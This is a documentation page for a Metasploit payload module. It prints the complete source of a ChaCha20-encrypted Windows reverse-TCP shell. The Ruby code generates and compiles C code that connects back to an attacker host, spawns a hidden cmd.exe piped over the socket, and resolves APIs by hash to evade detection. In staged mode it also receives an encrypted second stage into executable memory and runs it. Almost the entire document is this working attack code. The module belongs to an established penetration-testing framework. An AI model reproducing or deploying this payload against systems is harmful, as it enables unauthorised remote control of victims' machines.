Module: Msf::Payload::Windows::EncryptedReverseTcp

Includes:
UUID::Options, Msf::Payload::Windows, EncryptedPayloadOpts, PayloadDBConf
Defined in:
lib/msf/core/payload/windows/encrypted_reverse_tcp.rb

Overview

encrypted reverse tcp payload for Windows

Constant Summary

Constants included from EncryptedPayloadOpts

Msf::Payload::Windows::EncryptedPayloadOpts::LINK_SCRIPT_PATH

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from PayloadDBConf

#retrieve_chacha_creds, #retrieve_conf_from_db, #save_conf_to_db

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Instance Method Details

#align_rspObject



234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 234

def align_rsp
  %Q^
    void AlignRSP()
    {
      asm("push %rsi                      \\t\\n\\
           mov %rsp, %rsi                 \\t\\n\\
           and $0x0FFFFFFFFFFFFFFF0, %rsp \\t\\n\\
           sub $0x020, %rsp               \\t\\n\\
           call ExecutePayload            \\t\\n\\
           mov %rsi, %rsp                 \\t\\n\\
           pop %rsi                       \\t\\n\\
           ret");
    }
  ^
end

#call_init_winsockObject



512
513
514
515
516
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 512

def call_init_winsock
  %Q^
      init_winsock();
  ^
end

#chacha_funcObject



262
263
264
265
266
267
268
269
270
271
272
273
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 262

def chacha_func
  %Q^
    char *chacha_data(char *buf, int len, chacha_ctx *ctx)
      {
        FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll',
        char *out = VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_READWRITE);
        chacha_encrypt_bytes(ctx, buf, out, len);
        out[len] = '\\0';
        return out;
      }
  ^
end

#chacha_func_stagedObject



250
251
252
253
254
255
256
257
258
259
260
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 250

def chacha_func_staged
  %Q^
    char *chacha_data(char *buf, int len, chacha_ctx *ctx)
    {
      chacha_encrypt_bytes(ctx, buf, buf, len);
      buf[len] = '\\0';

      return buf;
    }
  ^
end

#comm_setupObject



310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 310

def comm_setup
  %Q^
    struct addrinfo *conn_info_setup(char *i, char *p)
    {
      UINT term_proc_stat = ExitProc();
      struct addrinfo hints, *results = NULL, *first = NULL;
      FuncGetAddrInfo GetAddrInf = (FuncGetAddrInfo) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'getaddrinfo')}); // hash('ws2_32.dll', 'getaddrinfo') -> 0x14f1f695
      FuncFreeAddrInfo FreeAddrInf = (FuncFreeAddrInfo) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'freeaddrinfo')}); // hash('ws2_32.dll', 'freeaddrinfo') -> 0x150784f5
      FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0

      SecureZeroMemory(&hints, sizeof(hints));
      hints.ai_family = AF_INET;
      hints.ai_socktype = SOCK_STREAM;
      hints.ai_protocol = IPPROTO_TCP;

      if(GetAddrInf(i, p, &hints, &results))
      {
        ExitProcess(term_proc_stat);
      }

      first = results;
      if(first == NULL)
      {
        FreeAddrInf(results);
        ExitProcess(term_proc_stat);
      }

      return first;
    }
  ^
end

#exec_payload_stage(conf, opts = {}) ⇒ Object



600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 600

def exec_payload_stage(conf, opts = {})
  arch = opts.fetch(:arch, self.arch_to_s)
  reg = arch.eql?('x86') ? 'edi' : 'rdi'
  inst = arch.eql?('x86') ? 'movl' : 'movq'

  %Q^
   void ExecutePayload()
   {
     SOCKET conn_socket = INVALID_SOCKET;

     asm("#{inst} %%#{reg}, %0"
         :
         :"m"(conn_socket)
     );

     HANDLE *comm_handles = init_process(conn_socket);
     communicate(*(comm_handles), *(comm_handles+1), conn_socket);
   }
  ^
end

#exit_procObject



275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 275

def exit_proc
  %Q^
    UINT ExitProc()
    {
      DWORD term_status;
      FuncGetCurrentProcess GetCurrentProcess = (FuncGetCurrentProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GetCurrentProcess')}); // hash('kernel32.dll', 'GetCurrentProcess') -> 0x51e2f352
      FuncGetExitCodeProcess GetExitCodeProcess = (FuncGetExitCodeProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GetExitCodeProcess')}); // hash('kernel32.dll', 'GetExitCodeProcess' -> 0xee54785f

      HANDLE curr_proc_handle = GetCurrentProcess();
      GetExitCodeProcess(curr_proc_handle, &term_status);

      return term_status;
    }
  ^
end

#format_ds_opt(opt) ⇒ Object

Options such as the LHOST and PORT need to become a null-terminated array to ensure they exist in the .text section.



216
217
218
219
220
221
222
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 216

def format_ds_opt(opt)
  modified = ''

  opt = opt.to_s
  opt.split('').each { |elem| modified << "\'#{elem}\', " }
  modified = "#{modified}0"
end

#generate(opts = {}) ⇒ Object



46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 46

def generate(opts={})
  opts[:uuid] ||= generate_payload_uuid.puid_hex
  iv = datastore['ChachaNonce']

  conf =
  {
    call_wsastartup: datastore['CallWSAStartup'],
    port:            format_ds_opt(datastore['LPORT']),
    host:            format_ds_opt(datastore['LHOST']),
    key:             datastore['ChachaKey'],
    nonce:           datastore['ChachaNonce'],
    iv:              iv,
    uuid:            opts[:uuid],
    staged:          staged?
  }

  src = ''
  if staged?
    src = generate_stager(conf, opts)
  else
    src = generate_c_src(conf, opts)
  end

  link_script = module_info['DefaultOptions']['LinkerScript']
  compile_opts =
  {
    strip_symbols: datastore['StripSymbols'],
    linker_script: link_script,
    opt_lvl:       datastore['OptLevel'],
    keep_src:      datastore['KeepSrc'],
    keep_exe:      datastore['KeepExe'],
    show_compile_cmd: datastore['ShowCompileCMD'],
    f_name:        Tempfile.new(staged? ? 'reverse_pic_stager' : 'reverse_pic_stageless').path,
    arch:          opts.fetch(:arch, self.arch_to_s)
  }

  comp_code = get_compiled_shellcode(src, compile_opts)

  chacha_conf =
  {
    'uuid'  =>  conf[:uuid],
    'key'   =>  conf[:key],
    'nonce' =>  conf[:nonce]
  }
  save_conf_to_db(chacha_conf)

  comp_code
end

#generate_c_src(conf, opts = {}) ⇒ Object



164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 164

def generate_c_src(conf, opts = {})
  src = initial_code(conf, opts)

  if conf[:call_wsastartup]
    src << init_winsock
  end

  src << comm_setup
  src << get_new_key
  src << init_proc
  src << get_load_library(conf[:host], conf[:port])
  src << call_init_winsock if conf[:call_wsastartup]
  src << start_comm(conf[:uuid])
  src << single_comm
end

#generate_stage(opts = {}) ⇒ Object



129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 129

def generate_stage(opts={})
  conf = opts[:datastore] || datastore
  conf[:staged] = true
  stage_uuid = opts[:uuid] || uuid
  key, nonce = retrieve_chacha_creds(stage_uuid)

  unless key && nonce
    print_status('No existing key/nonce in db. Resorting to datastore options.')
    key = conf['ChachaKey']
    nonce = conf['ChachaNonce']
  end
  iv = nonce

  link_script = module_info['DefaultOptions']['LinkerScript']
  comp_opts =
  {
    strip_symbols: false,
    linker_script: link_script,
    keep_src:      datastore['KeepSrc'],
    keep_exe:      datastore['KeepExe'],
    show_compile_cmd: datastore['ShowCompileCMD'],
    f_name:        Tempfile.new('reverse_pic_stage').path,
    arch:          opts.fetch(:arch, self.arch_to_s)
  }

  src = initial_code(conf, opts)
  src << get_new_key
  src << init_proc
  src << exec_payload_stage(conf, opts)
  shellcode = get_compiled_shellcode(src, comp_opts)

  stage_obj = Rex::Crypto::Chacha20.new(key, iv)
  stage_obj.chacha20_crypt(shellcode)
end

#generate_stager(conf, opts = {}) ⇒ Object



107
108
109
110
111
112
113
114
115
116
117
118
119
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 107

def generate_stager(conf, opts = {})
  src = initial_code(conf, opts)

  if conf[:call_wsastartup]
    src << init_winsock
  end

  src << comm_setup
  src << get_load_library(conf[:host], conf[:port])
  src << call_init_winsock if conf[:call_wsastartup]
  src << start_comm(conf[:uuid])
  src << stager_comm(conf, opts)
end

#get_compiled_shellcode(src, opts = {}) ⇒ Object



184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 184

def get_compiled_shellcode(src, opts={})
  comp_obj = nil
  case opts[:arch]
  when 'x86'
    comp_obj = Metasploit::Framework::Compiler::Mingw::X86.new(opts)
  when 'x64'
    comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)
  end

  compiler_out = comp_obj.compile_c(src)
  unless compiler_out.empty?
    elog(compiler_out)
    raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError.new('Payload did not compile. Check the logs for further information.')
  end

  comp_file = "#{opts[:f_name]}.exe"
  raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)
  bin = File.binread(comp_file).strip
  bin = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(bin))

  text_section = bin.sections.first
  text_section = text_section._isource

  comp_obj.cleanup_files
  text_section.rawdata
end

#get_hash(lib, func) ⇒ Object



180
181
182
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 180

def get_hash(lib, func)
  Rex::Text.block_api_hash(lib, func)
end

#get_load_library(host, port) ⇒ Object

ExecutePayload acts as the main function of the c program



490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 490

def get_load_library(host, port)
  %Q^
    void ExecutePayload(VOID)
    {
      FuncLoadLibraryA LoadALibrary;
      FuncWSASocketA WSASock;
      FuncWSACleanup WSACleanup;
      FuncConnect ConnectSock;
      UINT proc_term_status = ExitProc();
      SOCKET conn_socket = INVALID_SOCKET;
      FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
      FuncCloseHandle CloseHandle = (FuncCloseHandle) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CloseHandle')}); // hash('kernel32.dll', 'CloseHandle') -> 0x528796c6

      char ip[] = { #{host} };
      char port[] = { #{port} };
      char ws2[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 };

      LoadALibrary = (FuncLoadLibraryA) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'LoadLibraryA')}); // hash('kernel32.dll', 'LoadLibrary') -> 0x0726774C
      LoadALibrary((LPTSTR) ws2);
    ^
end

#get_new_keyObject



342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 342

def get_new_key
  %Q^
    char *get_new_key(SOCKET s)
    {
      FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll',
      FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')});

      char *received = VirtualAlloc(NULL, 45, MEM_COMMIT, PAGE_READWRITE);
      int recv_num = RecvData(s, received, 44, 0);

      received[44] = '\\0';
      return received;
    }
  ^
end

#headersObject



224
225
226
227
228
229
230
231
232
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 224

def headers
  %Q^
    #include "winsock_util.h"
    #include "payload_util.h"
    #include "kernel32_util.h"

    #include "chacha.h"
  ^
end

#include_send_uuidObject



125
126
127
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 125

def include_send_uuid
  true
end

#init_procObject



358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 358

def init_proc
  %Q^
    HANDLE* init_process(SOCKET s)
    {
      char cmd[] = { 'c', 'm', 'd', 0 };
      STARTUPINFO si;
      SECURITY_ATTRIBUTES sa;
      PROCESS_INFORMATION pi;
      UINT proc_stat = ExitProc();
      HANDLE out_rd, out_wr, in_rd, in_wr;
      FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0

      SecureZeroMemory(&si, sizeof(si));
      SecureZeroMemory(&sa, sizeof(sa));
      SecureZeroMemory(&pi, sizeof(pi));

      si.cb = sizeof(si);
      sa.nLength = sizeof(sa);
      sa.lpSecurityDescriptor = NULL;
      sa.bInheritHandle = TRUE;

      FuncCreatePipe CreatePipe = (FuncCreatePipe) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CreatePipe')}); // hash('kernel32.dll', 'CreatePipe') -> 0xeafcf3e
      CreatePipe(&out_rd, &out_wr, &sa, 0);
      CreatePipe(&in_rd, &in_wr, &sa, 0);

      FuncSetHandleInformation SetHandleInformation = (FuncSetHandleInformation) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'SetHandleInformation')}); // hash('kernel32.dll', 'SetHandleInformation') -> 0x1cd313ca
      SetHandleInformation(out_rd, HANDLE_FLAG_INHERIT, 0);
      SetHandleInformation(in_wr, HANDLE_FLAG_INHERIT, 0);

      si.dwFlags = STARTF_USESTDHANDLES;
      si.hStdError = si.hStdOutput = out_wr;
      si.hStdInput = in_rd;

      FuncCreateProcess CreateProcess = (FuncCreateProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CreateProcessA')}); // hash('kernel32.dll', 'CreateProcess') -> 0x863fcc79
      if(!CreateProcess(NULL, cmd, &sa, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
      {
        ExitProcess(proc_stat);
      }

      FuncCloseHandle CloseHandle = (FuncCloseHandle) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CloseHandle')}); // hash('kernel32.dll', 'CloseHandle') -> 0x528796c6
      CloseHandle(pi.hProcess);
      CloseHandle(pi.hThread);

      FuncGlobalAlloc GlobalAlloc = (FuncGlobalAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GlobalAlloc')}); // hash('kernel32.dll', 'GlobalAlloc') -> 0x520f76f6
      HANDLE *handle_arr = GlobalAlloc(GMEM_FIXED, sizeof(HANDLE) * 2);

      handle_arr[0] = out_rd;
      handle_arr[1] = in_wr;

      return handle_arr;
    }

    void communicate(HANDLE out, HANDLE in, SOCKET s)
    {
      DWORD data = 0;
      char buf[512];
      int buf_size = 512;
      int new_key = 0;
      DWORD bytes_received = 0;
      FuncSleep Sleep = (FuncSleep) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'Sleep')}); // hash('kernel32.dll', 'Sleep') -> 0xe035f044
      FuncSend SendData = (FuncSend) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'send')}); // hash('ws2_32.dll', 'send') -> 0x5f38ebc2
      FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')}); // hash('ws2_32.dll', 'recv') -> 0x5fc8d902
      FuncReadFile ReadFile = (FuncReadFile) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ReadFile')}); // hash('kernel32.dll', 'ReadFile') -> 0xbb5f9ead
      FuncWriteFile WriteFile = (FuncWriteFile) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'WriteFile')}); // hash('kernel32.dll', 'WriteFile') -> 0x5bae572d
      FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
      FuncPeekNamedPipe PeekNamedPipe = (FuncPeekNamedPipe) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'PeekNamedPipe')}); // hash('kernel32.dll', 'PeekNamedPipe') -> 0xb33cb718
      FuncVirtualFree VirtualFree = (FuncVirtualFree) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualFree')}); // hash('kernel32.dll', 'VirtualFree') -> 0x300f2f0b

      SecureZeroMemory(buf, buf_size);
      UINT term_stat = ExitProc();
      char init_key[] = { #{format_ds_opt(datastore['ChachaKey'])} };
      char init_nonce[] = { #{format_ds_opt(datastore['ChachaNonce'])} };
      char *key = init_key;
      char *nonce = init_nonce;

      chacha_ctx ctx;
      chacha_keysetup(&ctx, key, 256, 96);
      chacha_ivsetup(&ctx, nonce);

      do
      {
        if(new_key == 0)
        {
          char *stream = get_new_key(s);
          if(stream == NULL)
          {
            ExitProcess(term_stat);
          }

          char *res = chacha_data(stream, 44, &ctx);
          key = res + 12;
          nonce = res;
          new_key = 1;

          chacha_keysetup(&ctx, key, 256, 96);
          chacha_ivsetup(&ctx, nonce);
        }

        if(PeekNamedPipe(out, NULL, 0, NULL, &data, NULL) && data > 0)
        {
          if(!ReadFile(out, buf, buf_size-1, &bytes_received, NULL))
          {
            ExitProcess(term_stat);
          }
          char *cmd = chacha_data(buf, bytes_received, &ctx);
          SendData(s, cmd, bytes_received, 0);
          SecureZeroMemory(buf, buf_size);
          VirtualFree(cmd, bytes_received+1, MEM_RELEASE);
        }
        else
        {
          DWORD bytes_written = 0;

          bytes_received = RecvData(s, buf, buf_size-1, 0);
          if(bytes_received > 0)
          {
            char *dec_cmd = chacha_data(buf, bytes_received, &ctx);
            WriteFile(in, dec_cmd, bytes_received, &bytes_written, NULL);
            SecureZeroMemory(buf, buf_size);
            VirtualFree(dec_cmd, bytes_received+1, MEM_RELEASE);
          }
        }
        Sleep(100);
      } while(bytes_received > 0);
    }

  ^
end

#init_winsockObject



291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 291

def init_winsock
  %Q^
    void init_winsock()
    {
      WSADATA wsadata;
      FuncWSAStartup WSAInit;
      UINT term_proc_status = ExitProc();
      FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0

      WSAInit = (FuncWSAStartup) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSAStartup')}); // hash('ws2_32.dll', 'WSAStartup') -> 0x006B8029
      if(WSAInit(MAKEWORD(2, 2), &wsadata))
      {
        ExitProcess(term_proc_status);
      }
    }

  ^
end

#initial_code(conf, opts = {}) ⇒ Object



95
96
97
98
99
100
101
102
103
104
105
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 95

def initial_code(conf, opts = {})
  src = headers
  src << align_rsp if opts.fetch(:arch, self.arch_to_s).eql?('x64')

  if staged?
    src << chacha_func_staged
  else
    src << chacha_func
  end
  src << exit_proc
end

#initialize(*args) ⇒ Object



21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 21

def initialize(*args)
  super

  # prevents checks running when module is initialized during msfconsole startup
  if framework
    unless framework.db.connection_established?
      add_warning('A database connection is preferred for this module. If this is not possible, please make sure to '\
      'take note of the ChachaKey & ChachaNonce options used during generation in order to set them correctly when '\
      'calling a module handler.')
    end

    if self.arch.nil? || self.arch.empty?
      add_warning('Payload architecture could not be determined.')
      return
    end

    if self.arch.include?('x86') && !::Metasploit::Framework::Compiler::Mingw::X86.available?
      add_error("x86 Mingw installation is not available.")
    end
    if self.arch.include?('x64') && !::Metasploit::Framework::Compiler::Mingw::X64.available?
      add_error("x64 Mingw installation is not available.")
    end
  end
end

#sends_hex_uuid?Boolean

Returns:

  • (Boolean)


121
122
123
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 121

def sends_hex_uuid?
  true
end

#single_commObject



543
544
545
546
547
548
549
550
551
552
553
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 543

def single_comm
  %Q^
      HANDLE *comm_handles = init_process(conn_socket);
      communicate(*(comm_handles), *(comm_handles+1), conn_socket);

      CloseHandle(*comm_handles);
      CloseHandle(*(comm_handles + 1));
      WSACleanup = (FuncWSACleanup) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSACleanup')}); // hash('ws2_32.dll', 'WSACleanup') -> 0xf44a6e2b
    }
  ^
end

#stager_comm(conf, opts = {}) ⇒ Object



555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 555

def stager_comm(conf, opts = {})
  arch = opts.fetch(:arch, self.arch_to_s)
  reg = arch.eql?('x86') ? 'edi' : 'rdi'
  inst = arch.eql?('x86') ? 'movl' : 'movq'

  %Q^
      FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')}); // hash('ws2_32.dll', 'recv') -> 0x5fc8d902
      unsigned int stage_size;
      int recvd = RecvData(conn_socket, (char *) &stage_size, 4, 0);
      if(recvd != 4)
      {
        ExitProcess(proc_term_status);
      }

      FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll', 'VirtualAlloc') -> 0xe553a458
      register char *received = VirtualAlloc(NULL, stage_size + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

      int recv_stg = RecvData(conn_socket, received, stage_size, MSG_WAITALL);
      if(recv_stg != stage_size)
      {
        ExitProcess(proc_term_status);
      }

      char key[] = { #{format_ds_opt(datastore['ChachaKey'])} };
      char nonce[] = { #{format_ds_opt(datastore['ChachaNonce'])} };

      chacha_ctx dec_ctx;
      chacha_keysetup(&dec_ctx, key, 256, 96);
      chacha_ivsetup(&dec_ctx, nonce);
      chacha_data(received, stage_size + 1, &dec_ctx);

      // hand the socket to the stage
      asm("#{inst} %0, %%#{reg}"
          :
          : "r" (conn_socket)
          : "%#{reg}"
      );

      // call the stage
      void (*func)() = (void(*)())received;
      func();
    }
  ^
end

#start_comm(uuid) ⇒ Object



518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 518

def start_comm(uuid)
 %Q^
     struct addrinfo *info = NULL;
     info = conn_info_setup(ip, port);
     FuncSend SendData = (FuncSend) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'send')}); // hash('ws2_32.dll', 'send') -> 0x5f38ebc2
     WSASock = (FuncWSASocketA) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSASocketA')}); // hash('ws2_32.dll', 'WSASocketA') -> 0xe0df0fea
     conn_socket = WSASock(info->ai_family, info->ai_socktype, info->ai_protocol, NULL, 0, 0);

     if(conn_socket == INVALID_SOCKET)
     {
       ExitProcess(proc_term_status);
     }

     ConnectSock = (FuncConnect) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'connect')}); // hash('ws2_32.dll', 'connect') -> 0x6174a599
     if(ConnectSock(conn_socket, info->ai_addr, info->ai_addrlen) == SOCKET_ERROR)
     {
       ExitProcess(proc_term_status);
     }

     char uuid[] = { #{format_ds_opt(uuid)} };
     SendData(conn_socket, uuid, 16, 0);

   ^
end